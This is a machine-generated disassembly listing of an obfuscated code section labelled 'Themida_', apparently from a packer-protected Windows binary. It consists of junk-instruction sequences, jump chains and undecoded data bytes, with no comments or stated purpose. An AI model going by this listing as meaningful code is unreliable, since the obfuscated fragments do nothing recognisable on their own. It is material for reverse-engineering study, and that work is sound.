aSap		db '$p',0
		align 2
		dw 0F521h
		dd 8324348Bh, 0F58104C4h, 60861420h, 0F35C581h,	0EA2906FBh
		dd 68515Dh, 8B000000h, 0C481240Ch, 4, 103D101h,	0EC815A59h
		dd 4, 0E9242C89h, 9816h, 0C8FE0004h, 0C528FB04h, 0DFE95866h
		dd 51000094h, 3A8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D3B71:				; CODE XREF: Themida_:loc_5DB467j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5DA2A5
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 81E38924h, 4ECh, 242C8900h, 0A31A60BDh, 7EE95561h, 68000008h
		dd 42CDh, 0FFFFDDE9h, 0E95753FFh, 0FFFFEAB2h, 1E05F829h
		dd 0E91D9679h, 784Ch, 4C481h, 0F9E90000h, 8BFFFFDCh, 0C4832414h
		dd 4C48104h, 83000000h,	896602ECh, 58B42404h, 80F3C480h
		dd 0D7E99AECh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3BE7:				; CODE XREF: Themida_:005D2363j
		pop	esi
		jmp	loc_5D8210
; ---------------------------------------------------------------------------


loc_5D3BED:				; CODE XREF: Themida_:005D15FFj
		push	ebx
		jmp	loc_5D7015
; ---------------------------------------------------------------------------


loc_5D3BF3:				; CODE XREF: Themida_:005D469Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	edx
		push	ebx
		mov	ebx, 53D21078h
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5DA262
; ---------------------------------------------------------------------------
		db 0ACh, 68h, 9Ah
		dd 89000005h, 0E5E9240Ch, 8300000Ah, 0C8904ECh,	0BAB65224h
		dd 8098E680h, 73E96BC6h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3C2F:				; CODE XREF: Themida_:005D23ADj
		mov	[esp], ebx
		push	esi
		mov	esi, 0C8E1BE0h
		xor	esi, 77A207Ah
		jmp	loc_5DB695
; ---------------------------------------------------------------------------
		db 86h
		dd 52662414h, 0E9242C86h, 39F7h
; ---------------------------------------------------------------------------


loc_5D3C50:				; CODE XREF: Themida_:005DA2A0j
		pop	edx
		mov	bx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5D3850
; ---------------------------------------------------------------------------
		db 0B8h, 0B5h, 3Dh
		dd 0C7094CCCh, 1ACF8158h, 505C021Ch, 8C445BB8h,	0E9C70909h
		dd 49E5h, 0E9240C8Bh, 4E3Bh, 0B34636BEh, 4E6C179h, 49E9DEF7h
		dd 8700007Ah, 895C2434h, 0B050241Ch, 58C3881Dh,	6602EC83h
		dd 0E9241489h, 125Fh, 0E9242C89h, 0FFFFE26Eh, 0BE243489h
		dd 1FEB7330h, 34FFF029h, 9934E924h, 248B0000h, 24048924h
		dd 0F416E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D3CCE:				; CODE XREF: Themida_:005D5410j
		mov	[esp], edi
		mov	edi, 4F7319CBh
		add	edi, 6892145Ah
		xor	edi, 0D59E666Dh
		and	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 71A72FB7h
		push	0
		sub	[esp], ebx
		jmp	loc_5D4F62
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 28AC6824h, 24890000h, 24048324h
		dd 0BDE95F04h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D3D13:				; CODE XREF: Themida_:005D4173j
		push	esp
		jmp	loc_5DA28F
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 90A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D3D21:				; CODE XREF: Themida_:005D32A5j
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
a_psN		db '_P黍',0
		dd 5AD50100h, 663E958h,	0EC830000h, 240C8904h, 0C01AB753h
		dd 0E4E906EFh, 89000075h, 0BF57240Ch, 0
		dd 0A2E9F989h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3D57:				; CODE XREF: Themida_:005D3946j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 12F97A09h
		push	edi
		mov	edi, 7BE8543Bh
		sub	edi, 0BCD8BFD8h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5DB7B3
; ---------------------------------------------------------------------------


loc_5D3D8A:				; CODE XREF: Themida_:005DA494j
		add	edx, ebp
		pop	ebp
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5D1877
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0FFF05EE9h, 48B66FFh, 4EA06824h, 37E90000h
		dd 66000038h, 5024048Bh, 8BC6E954h, 51AD0000h, 3D489E68h
		dd 3CE9596Fh, 8B000017h, 89532404h, 0E66852E3h,	5A0C275Eh
		dd 5501C283h, 275EE3BDh, 0E9EA310Ch, 84FFh, 240C8B66h
		dd 0E904EC83h, 8E53h
; ---------------------------------------------------------------------------


loc_5D3DF4:				; CODE XREF: Themida_:005DD892j
		inc	ecx
		xchg	eax, ecx
		sub	eax, 9D2E0800h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_5DAC7B
; ---------------------------------------------------------------------------


loc_5D3E16:				; CODE XREF: Themida_:005D2C3Fj
		push	ecx
		push	290Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 80A5708h
		xor	edx, 681269C3h
		sub	edx, 60183EC7h
		sub	ecx, 55266233h
		add	ecx, edx
		add	ecx, 55266233h
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5DA221
; ---------------------------------------------------------------------------
		db 1
aSd		db '/',0
		align 2
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C8704h, 0E289525Ch, 0FFE94BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D3E81:				; CODE XREF: Themida_:005D969Dj
		pop	edi
		push	ebx
		push	29h
		jmp	loc_5DA3C5
; ---------------------------------------------------------------------------
		db 1, 0DFh, 0E9h
		dd 177Bh, 4EC81h, 14890000h, 4506E924h,	0C3810000h, 0D3BFFC6h
		dd 91E9DE09h, 800005Dh,	0EFC058E7h, 40C78002h, 0C05BFE00h
		dd 0F68002E6h, 0F4CAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D3EC6:				; CODE XREF: Themida_:005D9DE9j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5D3044
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 43BA5201h, 8107B241h, 7D2C0AF2h, 88DDE914h, 0C2810000h
		dd 4, 36BE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3EEE:				; CODE XREF: Themida_:005D43D2j
		sub	edi, 0F374DF8Ah
		or	ebp, edi
		jmp	loc_5D16A7
; ---------------------------------------------------------------------------


loc_5D3EFB:				; CODE XREF: Themida_:005DD7CAj
		pop	esi
		jmp	loc_5DCDAC
; ---------------------------------------------------------------------------
		db 30h,	0D8h, 68h
		dd 3FBh, 0E9240C89h, 6192h, 0EEEE80h, 0FE1E9F3h, 9DE90000h
		dd 66FFFFD6h, 83240C8Bh, 148904ECh, 505A5424h, 4B8h, 0B8EA8100h
		dd 125AE15h, 0B8C281C2h, 5825AE15h, 0F7E95551h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D3F47:				; CODE XREF: Themida_:005D7B07j
		add	esp, 4
		jmp	loc_5D8E00
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4BE5600h, 1000000h, 24348BF1h,	8704C483h, 535C240Ch
		dd 0C3FEF3B3h, 0FEDDB151h, 8253E9C1h, 0CD010000h, 80E95559h
		dd 0B8000097h, 4, 5BE9C629h, 0FF000038h, 8B042474h, 0C481242Ch
		dd 4, 1F4AE9h, 3EAC100h, 34CBC281h, 0C181F4F1h,	7CF1228Ah
		dd 0E981D101h, 7CF1228Ah, 8287E9h, 24048700h, 4055Ch, 4050000h
		dd 87000000h, 248B2404h, 0D5EAE924h, 248BFFFFh,	0F740E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D3FDA:				; CODE XREF: Themida_:005D670Ej
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_5D31C4
; ---------------------------------------------------------------------------
		db 0BFh, 5Dh, 24h
		dd 87BB2F84h, 294B3655h, 243C8BFBh, 81E38953h, 4C3h, 4C38100h
		dd 0E9000000h, 7AE4h, 8704C583h, 88E9242Ch, 8B000076h
		dd 11E92434h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5D401B:				; CODE XREF: Themida_:005D92C0j
		mov	[esp], edx
		push	esi
		jmp	loc_5D6CE9
; ---------------------------------------------------------------------------


loc_5D4024:				; CODE XREF: Themida_:005D8AB6j
		push	dword ptr [esp]
		jmp	loc_5DA4D7
; ---------------------------------------------------------------------------


loc_5D402C:				; CODE XREF: Themida_:005D27FCj
		add	ebp, 4
		push	ebx
		jmp	loc_5D9963
; ---------------------------------------------------------------------------
		dd 3956E681h, 2BE90F69h, 81000075h, 4ECh, 241C8900h, 8904EC83h
		dd 4832424h, 555B0424h,	6C52B951h, 0CD89061Fh, 81240C8Bh
		dd 4C4h, 81DDF700h, 1F6C56C5h, 5DEB0106h, 0C0CE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D407A:				; CODE XREF: Themida_:005D9715j
		add	edx, 7831055Ah
		pop	ebp
		jmp	loc_5DAFDB
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C3302h, 33240C31h, 248B240Ch, 48B6624h, 4700E924h
		dd 0C2810000h, 4, 8704C283h, 335C2414h,	2C31242Ch, 242C3324h
		dd 2424D25Ch, 0D4FEE99Ch, 0FF5FFFFFh, 815E2434h, 4C4h
		dd 141E900h, 875E0000h,	248B242Ch, 0EE686624h, 1C896661h
		dd 0EC815224h, 4, 0FFE9ECE9h, 4C481FFh,	87000000h, 35E9243Ch
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D40F7:				; CODE XREF: Themida_:005D88FCj
		mov	ebp, 144757FFh
		mov	eax, 144757FBh
		xor	eax, ebp
		pop	ebp
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5DD436
; ---------------------------------------------------------------------------
aPsz		db 'Pz',0Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_5D411B:				; CODE XREF: Themida_:005D54AEj
		xor	eax, 0EC5D94F9h
		sub	edx, eax
		pop	eax
		sub	edi, edx
		pop	edx
		not	edi
		or	edi, 131371Dh
		add	edi, 6E6CE6DFh
		push	ecx
		mov	ecx, 59A70D12h
		neg	ecx
		jmp	loc_5D5304
; ---------------------------------------------------------------------------


loc_5D4141:				; CODE XREF: Themida_:005D2C8Cj
		add	edx, 0EA882492h
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6B1A3579h
		or	ecx, 46DD74C6h
		add	ecx, 0FFFFFFFFh
		xor	ecx, 6FDF75FAh
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5D5646
; ---------------------------------------------------------------------------


loc_5D416E:				; CODE XREF: Themida_:005D2533j
		push	1E22h
		jmp	loc_5D3D13
; ---------------------------------------------------------------------------
		dd 6B3E95Bh, 39E90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D4183:				; CODE XREF: Themida_:005D30CCj
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_5D9CA9
; ---------------------------------------------------------------------------
		db 81h
		dd 0C959E6EDh, 5DEA013Fh, 4C281h, 0E9520000h, 0FFFFF71Fh
		dd 701DF3B9h, 3C5FE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D41B2:				; CODE XREF: Themida_:005DC6BEj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5D9399
; ---------------------------------------------------------------------------
		db 81h
		dd 6FF460C2h, 5AD03122h, 7ACF6850h, 34FF5D2Bh, 728E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D41D6:				; CODE XREF: Themida_:005D7066j
		movzx	ecx, ax
		push	16A4h
		mov	[esp], ecx
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		dw 81h
		dd 3E196619h, 0FFD3CBE9h, 0F665CFFh, 9C2404B3h,	0FFD3BFE9h
		dd 46ED81FFh, 0E94BA241h, 95DFh, 65E9F9B7h, 31000035h
		dd 55E959C8h, 1000072h,	0CB295FF9h, 98EB8159h, 1E6BE17h
		dd 0C6815BDEh, 2, 7CAA68h, 24348900h, 42474FFh,	8124348Bh
		dd 4C4h, 24048F00h, 6624248Bh, 8124048Bh, 4ECh,	240C8900h
		dd 7682E9h, 4B900h, 0CA010000h,	24148759h, 0E739E95Ch
		dd 9E2DFFFFh, 0C1318A15h, 0F1E905E8h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4277:				; CODE XREF: Themida_:005D1FE6j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5D5409
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0B8E95756h, 66000022h, 66240C89h,	0E9C8B60Fh
		dd 1C43h, 33240431h, 248B2404h,	2404FF24h, 0D30EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D42AE:				; CODE XREF: Themida_:005DC74Aj
		mov	eax, [esp]
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		push	0C93h
		mov	[esp], ebp
		jmp	loc_5D8962
; ---------------------------------------------------------------------------
		dd 81CBC380h, 4ECh, 240C8900h, 0C980E7B1h, 0E9D1F6D9h
		dd 0FFFFE9E8h, 8108E3C1h, 0B17BBFCBh, 0DA8AE90Ah, 0EE81FFFFh
		dd 0DDD55DB9h, 335EF001h, 4312404h, 24043324h, 0F605E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D430A:				; CODE XREF: Themida_:005D9EBBj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 579E581Dh
		dec	ebx
		or	ebx, 14E75B8Bh
		sub	ebx, 57FF5B9Eh
		push	ebx
		jmp	loc_5D9228
; ---------------------------------------------------------------------------
aLSI		db '$$',27h,'I',0
		align 2
aBuuIs3p	db ']}3P',0
		align 2
		dw 8B66h
		dd 0C8E92404h, 5E00003Dh, 918BE9h, 4B900h, 0CF010000h
		dd 0EB91E959h, 0F589FFFFh, 0B21E9h, 66EE8100h, 810F4440h
		dd 8E5270C6h, 81FE0162h, 8E5270EEh, 0DB96E962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D4382:				; CODE XREF: Themida_:005D84D2j
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5D55D4
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFECD0E9h, 8DBB53FFh, 0E94D5C7Ch, 0FFFFE1E7h, 0ED81D5F7h
		dd 9A636E63h, 15DE831h,	5F68E9C5h, 0EDC10000h, 67F58107h
		dd 815EF639h, 0D762BBEAh, 0E9EA016Ch, 29Eh
; ---------------------------------------------------------------------------


loc_5D43CC:				; CODE XREF: Themida_:005DC750j
		add	edi, 5CE9056Eh
		jmp	loc_5D3EEE
; ---------------------------------------------------------------------------
		db 53h
		dd 666E954h, 2C890000h,	9AB85024h, 255E9652h, 5DF119D1h
		dd 299AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D43F1:				; CODE XREF: Themida_:005DC23Bj
		push	dword ptr [esp]
		pop	esi
		push	ebp
		jmp	loc_5DAB8A
; ---------------------------------------------------------------------------
		db 28h
		dd 7BEB80F3h, 5624148Bh, 7AE9E689h, 0B200003Ch,	5EAC0F1h
		dd 7418E9h, 241C3300h, 147EE9h,	241CF700h, 83242C8Bh, 0C58104C4h
		dd 61A31A64h, 0FFE1AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D4431:				; CODE XREF: Themida_:005D1BAAj
		pop	esp
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		jmp	loc_5D5CF1
; ---------------------------------------------------------------------------
		db 66h
		dd 63B75359h, 78E9F828h, 55FFFFDDh, 5CF3E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D446A:				; CODE XREF: Themida_:005D33A7j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_5D9166
; ---------------------------------------------------------------------------
		dd 212CD10Ch, 8BE9C688h, 0FF000088h, 0A8E93C77h, 88FFFFDCh
		dd 1C8B5AF0h, 4C48324h,	0B0E68h, 24148900h, 28BAh, 51FA0100h
		dd 8853C188h, 5B3A88CFh, 24148B59h, 4C481h, 48B0000h, 4C48124h
		dd 8B000000h, 0C4832414h, 0D0E6E904h, 895CFFFFh, 0CBE92414h
		dd 59FFFFEDh, 0FFE29DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D44E5:				; CODE XREF: Themida_:005D6ECCj
		add	esp, 4
		jmp	loc_5DC714
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0F7h
aHSPsdb		db 'H-',8,')]^PD',0
		dd 0E9C60100h, 0FFFFEA4Fh, 9C2424D2h, 0FFD0AFE9h, 81D7F7FFh
		dd 70BDECEFh, 5EBAE9D7h, 8B660000h, 6E92404h, 81FFFFDDh
		dd 7A1DA4F1h, 59CB2931h, 0C381C329h, 2CD619DEh,	7CE3E9h
		dd 8BF50100h, 0C4832434h, 242C3304h, 33242C31h,	97E9242Ch
		dd 0BF00003Fh, 28F731A5h, 3DCDE9h, 0E97AB000h, 7A7Ah, 9BB8505Fh
		dd 0D1585634h, 693435E0h, 0C281B0ACh, 60D50DF7h, 0EA81C201h
		dd 60D50DF7h, 24148758h, 0E924248Bh, 11Ch, 0EB805966h
		dd 0E9C300CBh, 0FFFFFD38h
; ---------------------------------------------------------------------------


loc_5D4594:				; CODE XREF: Themida_:005D717Dj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5D8705
; ---------------------------------------------------------------------------
aIISV		db 'ӈ[',0Dh,'V',0
		align 4
		dd 0C781CF01h, 3DDB2B60h, 83240C8Bh, 3C8704C4h,	4D0E924h
		dd 0EB010000h, 241C875Dh, 6BAAE9h, 24048100h, 4, 0E88AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D45DA:				; CODE XREF: Themida_:005D580Ej
		pop	ecx
		jmp	loc_5D66E1
; ---------------------------------------------------------------------------


loc_5D45E0:				; CODE XREF: Themida_:005D96A5j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5DAC47
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 0F72CE9D8h, 6856FFFFh, 59F7h, 81242489h, 42404h, 815E0000h
		dd 4C6h, 4C68100h, 87000000h, 815C2434h, 0F94B52F6h, 46C58143h
		dd 14BA241h, 0FBBFE9F5h, 0B850FFFFh, 57E3192Bh,	0E8C1D8F7h
		dd 87F0E906h, 0BD680000h, 89000043h, 0B850243Ch, 4AB303D7h
		dd 0D1354848h, 894AB303h, 338E9C7h, 0BD550000h,	5B310DB4h
		dd 8104E5C1h, 136553CDh, 0EBEBE95Dh, 1C89FFFFh,	88C78824h
		dd 93E95BFDh, 0E900000Eh, 0FFFFCF2Ch
; ---------------------------------------------------------------------------


loc_5D4690:				; CODE XREF: Themida_:005D27C7j
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5D3BF3
; ---------------------------------------------------------------------------
		dd 240C8B66h, 52E18951h, 7659CFBAh, 0F8E7E958h,	0B9B9FFFFh
		dd 3122D132h, 0E7C159CFh, 0B2F78104h, 0E964306Eh, 86BAh
		dd 0CEEAE95Ah, 8B66FFFFh, 0C4E92404h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D46DB:				; CODE XREF: Themida_:005D1B87j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5D475D
; ---------------------------------------------------------------------------


loc_5D46EC:				; CODE XREF: Themida_:005D91DBj
		push	ecx
		mov	ecx, 7420783Bh
		jmp	loc_5DB21C
; ---------------------------------------------------------------------------
aZ4Soa		db '4$\oa',0
		align 10h
aPrRS		db 'PRr',0
		db 0F4h
		dd 34DCE9h, 5BFE8800h, 81240C8Bh, 4C4h,	66F00000h, 0E924148Bh
		dd 3D0h, 0E959CD31h, 7013h, 57E18951h, 4BFh, 5FF90100h
		dd 12B4E9h, 5C626800h, 3C890000h, 2404FF24h, 50DFF75Fh
		dd 0FFF50CE9h, 24248BFFh, 2896664h, 0FFCE5FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D475D:				; CODE XREF: Themida_:005D46E7j
		push	dword ptr [esp+4]
		jmp	loc_5D6704
; ---------------------------------------------------------------------------


loc_5D4766:				; CODE XREF: Themida_:005DBC0Ej
		pop	esp
		shl	ecx, 1
		not	ecx
		push	esi
		mov	esi, 1
		jmp	loc_5D175C
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D4781:				; CODE XREF: Themida_:005D9841j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5DB2C7
; ---------------------------------------------------------------------------


loc_5D4789:				; CODE XREF: Themida_:005D4F5Dj
		pop	eax
		jmp	loc_5D8F96
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FC33166h, 4DE9C0B7h, 56000049h, 3010E9h, 8BC32900h
		dd 0C4812404h, 4, 47AB951h, 6CE91DACh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D47B7:				; CODE XREF: Themida_:005DAB85j
		not	dword ptr [esp]
		jmp	loc_5DCDD7
; ---------------------------------------------------------------------------
		db 89h
		dd 45E9241Ch, 25000026h, 7BF32B70h, 0F7BF5755h,	89465839h
		dd 37E95FFDh, 100008Fh,	0BB535BDAh, 0F014DEFCh,	895BDA29h
		dd 0C3315AD3h, 0E924048Bh, 859Dh, 65B068h, 48F5400h, 24048324h
		dd 0BD555F04h, 0F722A2Eh, 24A7C581h, 0E5812E9Eh, 23141C46h
		dd 8103E5C1h, 87734BC5h, 0F7D58773h, 8275E9DAh,	0C7810000h
		dd 4, 0FFEB42E9h, 84BE56FFh, 0E955C706h, 0B6Eh,	7CE9C889h
		dd 58000035h, 0F9FC380h, 34FFC0B6h, 2434FF87h, 0EC835558h
		dd 24248904h, 4240481h,	8B000000h, 8957242Ch, 4D04E9E7h
		dd 0B5510000h, 59EE0073h, 0FF5AF028h, 525B2434h, 52E9E289h
		dd 5BFFFFD0h, 5E5DEB89h, 4245C01h, 5B2434FFh, 4C481h, 49E90000h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4897:				; CODE XREF: Themida_:005D94CAj
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	52E20EECh
		pop	esi
		not	esi
		jmp	loc_5D2033
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 180D4D20h, 2E9C141h,	749AF181h, 0E9814D7Dh, 222FE702h
		dd 5159CA29h, 767AE9h, 5EF30100h, 442BE9h, 4EC8100h, 89000000h
		dd 68B7241Ch, 0FCE9FD30h, 8100002Bh, 0D17AEDF7h, 0FFFA216Fh
		dd 815F2434h, 4C4h, 68E3E900h, 81580000h, 4C4h,	4EC8300h
		dd 0FFF3A3E9h, 0EEE9ACFFh, 89FFFFF5h, 4C381E3h,	83000000h
		dd 1C8704C3h, 0DABDE924h, 835CFFFFh, 48904ECh, 4EC8324h
		dd 68240489h, 2CA0h, 53240C89h,	0BF3A7ABBh, 98EB8115h
		dd 0C1271F3Fh, 0DBF704EBh, 17BEF381h, 8153B2E8h, 70DA242Ch
		dd 0C8B2273h, 4C48124h,	56000000h, 7370DABEh, 5EF10122h
		dd 0E9C8895Bh, 0FFFFDE8Dh, 8B240C87h, 0D1E92424h, 8B000062h
		dd 0C483242Ch, 24043304h, 33240431h, 665C2404h,	57240C8Bh
		dd 0BA52E789h, 501E219Bh, 84B8E957h, 48B0000h, 4C48124h
		dd 1000000h, 243C8BFDh,	4C481h,	4DE90000h, 80FFFFF6h, 0C280FDCAh
		dd 8BD53099h, 0C4812414h, 4, 0FCE9E800h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D49D3:				; CODE XREF: Themida_:005DBB5Fj
		xor	edi, 0FF5455ECh
		jmp	loc_5D278D
; ---------------------------------------------------------------------------


loc_5D49DE:				; CODE XREF: Themida_:005DC51Cj
		add	edx, 4
		jmp	loc_5D60EE
; ---------------------------------------------------------------------------
		db 59h,	80h, 0CBh
		dd 0B35351B2h, 0E95AB1AEh, 18F0h, 62596851h, 1C890000h
		dd 6DE95524h, 5C000050h, 89241489h, 466F68E2h, 34890000h
		dd 24CBE924h, 34330000h, 24343124h, 0E9243433h,	880Bh
; ---------------------------------------------------------------------------


loc_5D4A28:				; CODE XREF: Themida_:005D4B00j
		shl	edx, 1
		add	edx, 14E4F4Bh
		sub	edx, 44897BB6h
		push	ebp
		mov	ebp, 0E1BB7225h
		xor	edx, ebp
		pop	ebp
		jmp	loc_5D1946
; ---------------------------------------------------------------------------
		dd 4BF575Bh, 51000000h,	71DAE9h, 0C4835900h, 0E3F1E904h
		dd 30FFFFFFh, 0FFCB5BE9h, 240433FFh, 5324248Bh,	84E1E9h
		dd 74FF5700h, 0D0E90424h, 68000039h, 5AA9h, 89242C89h
		dd 4C581E5h, 50000000h,	3A2989B8h, 0F7D8E916h, 665CFFFFh
		dd 0E99CC885h, 0FFFFCB20h, 8159CE31h, 20500BEFh, 0ADEE971h
		dd 0BF570000h, 0
		dd 0B1E9D729h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5D4AB7:				; CODE XREF: Themida_:005D6744j
		and	esi, 39A07C68h
		sub	esi, 0D7B3020Ch
		mov	ebx, 0B632A605h
		sub	ebx, 2BE84CADh
		add	ebx, esi
		push	edi
		jmp	loc_5D1F01
; ---------------------------------------------------------------------------
		dw 0B4BEh
		dd 81178545h, 3845C3F6h, 0F03CE948h, 8166FFFFh,	66607DF3h
		dd 0E95BD989h, 85F5h, 8302C483h, 35E904ECh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4AFF:				; CODE XREF: Themida_:005D8772j
		pop	edx
		jmp	loc_5D4A28
; ---------------------------------------------------------------------------
		db 0BDh, 9Eh, 60h
		dd 0C5817E4Fh, 244E71F9h, 0EDD1D5F7h, 0E85DF581h, 0EE291306h
		dd 9C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D4B21:				; CODE XREF: Themida_:005D8967j
		add	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5DC114
; ---------------------------------------------------------------------------
		dd 4C481h, 0B0500000h, 77B65258h, 0D6F6CEFEh, 0F6E1EE80h
		dd 61F680D6h, 5166CEFEh, 0CE0010B1h, 0F0285966h, 8124148Bh
		dd 4C4h, 756BE900h, 92680000h, 5F61A242h, 5A26CF81h, 0F7812C13h
		dd 61E5A045h, 315FFA89h, 0BA525AD0h, 0F921D62h,	8108EAC1h
		dd 70223AF2h, 5A02685Ch, 34890000h, 65ECBE24h, 0C6816918h
		dd 325A05BEh, 5999EE81h, 0F22121F6h, 684A425Eh,	61CDh
		dd 51240489h, 87672DB9h, 0FC72E900h, 0C689FFFFh, 6EEC158h
		dd 0C4E94E4Eh
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4BD7:				; CODE XREF: Themida_:005DD2E4j
		pop	esp


loc_5D4BD8:				; CODE XREF: Themida_:005D285Dj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	11FDh
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 3A34295Eh
		or	ebp, 1D5C676Dh
		shr	ebp, 6
		and	ebp, 107A27ABh
		inc	ebp
		jmp	loc_5D8CA4
; ---------------------------------------------------------------------------
		db 59h
		dd 197CC381h, 0C32977BBh, 81E38953h, 4C3h, 96BA5200h, 8153BB11h
		dd 0BB1192EAh, 1DC38153h, 81271470h, 3538B0C3h,	51D3294Ah
		dd 3538B0B9h, 59CB294Ah, 701DEB81h, 148B2714h, 4C48324h
		dd 31241C33h, 1C33241Ch, 4895C24h, 197CB824h, 0C38177BBh
		dd 3AD23D78h, 0EB81C329h, 3AD23D78h, 8124048Bh,	4C4h, 30FF6600h
		dd 0FFC943E9h
		db 0FFh
; ---------------------------------------------------------------------------


